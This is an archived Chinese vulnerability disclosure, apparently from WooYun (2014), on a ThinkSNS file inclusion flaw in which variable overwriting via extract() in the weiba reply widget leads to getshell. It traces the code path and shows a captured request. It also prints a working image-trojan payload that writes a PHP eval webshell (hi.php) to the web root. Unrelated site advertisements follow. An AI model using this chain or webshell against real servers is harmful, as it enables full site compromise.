[公开漏洞]ThinkSNS任意文件包含2(可getshell)
2014-04-18:细节已通知厂商并且等待厂商处理中
2014-04-18:厂商已经确认,细节仅向厂商公开
2014-04-21:细节向第三方安全合作伙伴开放
2014-04-28:细节向核心白帽子及相关领域专家公开
2014-05-08:细节向普通白帽子公开
2014-05-28:细节向实习白帽子公开
2014-07-17:细节向公众公开
对用户可控的数据未作足够过滤,结合变量覆盖漏洞直接getshell
详细说明:问题,今天早上无聊又打开thinksns代码查看了一番
之前提交的漏洞,不知道厂商是怎么修复的
无意中看到这样的代码
/thinksns/apps/weiba/Lib/Widget/WeibaReplyWidget/WeibaReplyWidget.class.php 199行左右
看到了这样一个变量获取方式,

如此获取变量的方式,是非常糟糕的。看EasyTalk的用户提升漏洞
WooYun: Easytalk垂直权限问题(逻辑漏洞可提权getshell)
他获取变量的方式是这样的,$userdata=$_POST["user"];造成权限提升漏洞
很明显,这样是很糟糕的。
那继续跟踪$var,但首先得搞清楚这个变量是从哪里get来的。仔细分析代码,
是在微吧里,如果用户a发了一个帖子,然后用户b回复了a的帖子,那再对b的回帖进行回复时,则触发了请求。

审查元素,数据是js动态传递的

js代码为
reply_reply:{ //点某条回复
click:function(){
var attrs = M.getEventArgs(this);
ui.box.load(U('widget/WeibaReply/reply_reply')+'&widget_appname=weiba'+'&weiba_id='+attrs.weiba_id+'&post_id='+attrs.post_id+'&post_uid='+attrs.post_uid+'&to_reply_id='+attrs.to_reply_id+'&to_uid='+attrs.to_uid+'&to_comment_uname='+attrs.to_comment_uname+'&feed_id='+attrs.feed_id+'&addtoend='+attrs.addtoend+'&comment_id='+attrs.comment_id,L('PUBLIC_RESAVE'),function(){
$('#at-view').hide();
});
}
},

参数太多太繁杂,设置代理,用burpsuite查看连接请求,请求内容大致如下
GET /xxx/thinksns/index.php?app=widget&mod=WeibaReply&act=reply_reply&widget_appname=weiba&weiba_id=1&post_id=1&post_uid=2&to_reply_id=1&to_uid=3&to_comment_uname=test02&feed_id=4&addtoend=0&comment_id=1&_=1397798603367 HTTP/1.1
Host: x.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://x.com/xxx/thinksns/index.php?app=weiba&mod=Index&act=postDetail&post_id=1
Cookie: kio__user_login=7evb2cbXzuXQzcKTy87U5OfgyMrUrencncjX0IqjpejX2trg3OrPzcKTnMub2tqqn5mZpKvO1Jqblc3L2t3byJiapdmjo8mZmc2Js6Xr0MvHyqOdkKCVuKrG1aPD1uHS2eTMnpqWk4mQz-Hky9bg4Ji5w4WekZqjmM_Fvp2dqJjd5Z-am5eYoZi9zMrU3Kedn5aYk5qYqZi80NnO0-fjnpegkZk.; PHPSESSID=7igshj6u03ut4b2ihur7dvmbu3; T3_online_update=1397798589; T3_TSV3_LOGGED_USER=Ght4WQbI0iDrTZqHIste52cjneyh50IO; T3_TSV3_ACTIVE_TIME=1397798609
Connection: keep-alive
载入repeater进行变量的追踪调试
在reply_reply()函数里添加var_dump($var);die;//查看响应

成功返回了用户添加的自定义变量,然后继续跟踪,变量进入了
$this->renderFile(dirname(__FILE__)."/reply_reply.html",$var);中
跟踪该函数
代码/thinksns/core/OpenSociax/Widget.class.php 73行左右
protected function renderFile($templateFile = '', $var = '', $charset = 'utf-8') {
$var['ts'] = $GLOBALS['ts'];
if (! file_exists_case ( $templateFile )) {
// 自动定位模板文件
// $name = substr ( get_class ( $this ), 0, - 6 );
// $filename = empty ( $templateFile ) ? $name : $templateFile;
// $templateFile = 'widget/' . $name . '/' . $filename . C ( 'TMPL_TEMPLATE_SUFFIX' );
// if (! file_exists_case ( $templateFile ))
throw_exception ( L ( '_WIDGET_TEMPLATE_NOT_EXIST_' ) . '[' . $templateFile . ']' );
}
// var_dump($var);die;//第二步,到了这里了
$template = $this->template ? $this->template : strtolower ( C ( 'TMPL_ENGINE_TYPE' ) ? C ( 'TMPL_ENGINE_TYPE' ) : 'php' );
$content = fetch($templateFile,$var,$charset);
return $content;
}
}
继续dump $var变量,跟踪,变量又进入了fetch函数里了
根据之前的漏洞测试,前提交的thinksns漏洞,不知道厂商是如何修复的,
此处按官方的原版函数
代码/thinksns/core/OpenSociax/functions.inc.php 939行左右
此函数不分析,上个漏洞已经有流程了,直接在最后
// var_dump($tvar);die;
extract($tvar, EXTR_OVERWRITE);
//载入模版缓存文件
include $templateCacheFile;
输出变量,查看用户可控的变量是否还在,结果如图

为了测试方便直接在目录上放置图片木马,成功包含后,会在根目录下生成一句话木马,具体的拿shell方法跟上个漏洞所提的方法一样。
注册普通用户,上传图片木马,图片木马嵌入代码为
gif89a<?php file_put_contents("hi.php","<?php @eval(\$_POST[a])?>");?>
2.上传图片,获得图片后,执行包含,则在根目录下生成hi.php

漏洞证明:
如上详细描述
修复方案:首先变量那样获取是很糟糕的,其次是那个函数问题,酌情修复吧:)
版权声明:转载请注明来源 Ano_Tom@乌云漏洞回应 厂商回应:
危害等级:高
漏洞Rank:12
确认时间:2014-04-18 14:38
厂商回复:和上一个是同一个bug,所以,稍微给你降一点分值吧。非常感谢!这个得在核心修复才能解决其他地方可能出现同类问题。
最新状态:暂无
推荐资讯
推荐站点
-
国厨盛宴
佛山市南海区嘉怡西餐厅(简称\"国厨盛宴\")是一家专注于珠三角地区的高端餐饮定制服务企业。在嘉怡西式餐饮为基础,整合了国力餐饮策划公司、国邦餐饮咨询公司、焰渝餐饮管理公司。于2016年3月正式更名为“广东国厨盛宴餐饮定制”, 公司出品全部来自香港、广东十年以上中西餐饮宴会实践经验丰富的业内专业星级大厨,国厨盛宴是融合了中西宴会外卖特色具一体,积累了多年的实践经验的一家公司。 国厨盛宴的餐房、现场执行及客户服务均由香港资深专业人士负责,拥有丰富的餐饮定制配餐服务管理经验及餐饮行饮服务团队,从客服、采购、厨业经营经验。 无论是大型商业活动(100-3000人)还是小型(20-100人)的私人宴请,无论您的活动是在室内、室外、办公室,还是在公园、体育场、展厅、发布中心、别墅、郊外,都能为您提供超五星级的专业餐饮服务。除了为您提供精致的外烩美食外卖,我们还可以根据您的需要,结合宴会活动的每一环节、流程,为您提供活动策划、会场布置、节目安排、花艺服务等增值服务,为您节省宝贵的时间。
guochushengyan.com -
皇家馬車家纺官网
馬車源自华夏千年礼制,始于“天子驾六”的皇家威仪。馬车,是帝王仪仗,是身份象征,更是东方尊贵生活的传承载体。皇家馬车家纺,承中式皇家礼序,融东方典雅美学,以匠心织就尊贵、舒适、荣耀的中式睡眠美学,让每一户人家,皆藏皇家气度。 皇家馬车家纺品牌源之于承华夏皇家礼序,筑东方品质寝饰。自古以来皇家馬车无论从欧洲皇室到我们中国的华夏文明,车马为礼;皇家馬车,自古便是帝王专属仪仗,象征至高无上的身份、威仪与尊贵。自周代“天子驾六”定礼制,秦汉“金根车”彰皇权,唐宋“大辇”显威仪,明清“銮驾”集大成,皇家馬车,早已沉淀为东方文化中尊贵、典雅、荣耀、传承的核心符号。 皇家馬车家纺,根植中国千年皇家车马文化,1992年源自福建台资企业,已深耕中高端家纺34载。品牌以“传承中式皇家礼序,打造国人轻奢寝居”为初心,将皇家馬车所代表的礼制、尊贵、精工、传承,融入每一件床品的设计与织造。 品牌自创立以来,始终坚守品质为本,引进台湾先进纺织工艺与生产管理体系,严选优质长绒棉、桑蚕丝、天然纤维等高端原材料,全程标准化品控,面料细腻亲肤、健康环保。先后荣获2000年、2012年福建省著名商标荣誉称号,2006获ISO9001:2000质量管理体系认证企业,为产品的品质奠定了坚实基础。凭借过硬品质与深厚品牌底蕴,深受广大消费者信赖与认可,高峰时期全国17个省市均有 皇家馬車专卖店。 2025年由福州东盈家居科技有限公司全面接手操盘运营,焕新升级,生产基地从福建迁移到江苏南通家纺产业核心区,配备行业前沿设备。重塑品牌发展战略,打通线上线下全域渠道。线下设立福州晋安区喜盈门旗舰店,全国门店持续布局扩张。皇家馬车家纺秉持匠心初心,坚持高端品质、亲民定价,让万千家庭,都能用上高品质,皇室级的寝饰,享受舒适精致睡眠生活。 我们萃取中式皇家美学元素——龙凤呈祥、祥云瑞气、织金刺绣、典雅纹样,结合现代家纺工艺,严选高支长绒棉、桑蚕丝等高端原料,以台资精工标准,打造兼具东方贵气与现代舒适的中高端家纺。 从“福建省著名商标”到“家纺行业十大品牌”,皇家馬车家纺始终坚守“高贵不贵,匠心传承”,让千年皇家礼制,化作日常居家的尊贵体验;让每一户中国家庭,都能拥有属于自己的东方皇家睡眠礼遇。
huangjiamache.mhwz.cn -
福州小程序开发
福州好小蚁科技提供专业的微信小程序开发、软件定制、手机APP开发、网站开发等高端定制外包服务,价格美丽,服务周到.一对一项目对接,不满意退全款!预约电话:13107632710 胡小春!福州好小蚁科技有限公司是福建福州网站app等技术开发优秀网络公司。
www.fzant.com -
世界时间网
世界时间网为您提供世界各地精准时间,北京时间校准器,标准时间,世界各地时间与北京时间对比,时间换算等,希望对您有所帮助。
top.cnzzla.com/time -
科技镇
科技镇 | 关注科技、娱乐、人文、生活!
www.kejizhen.com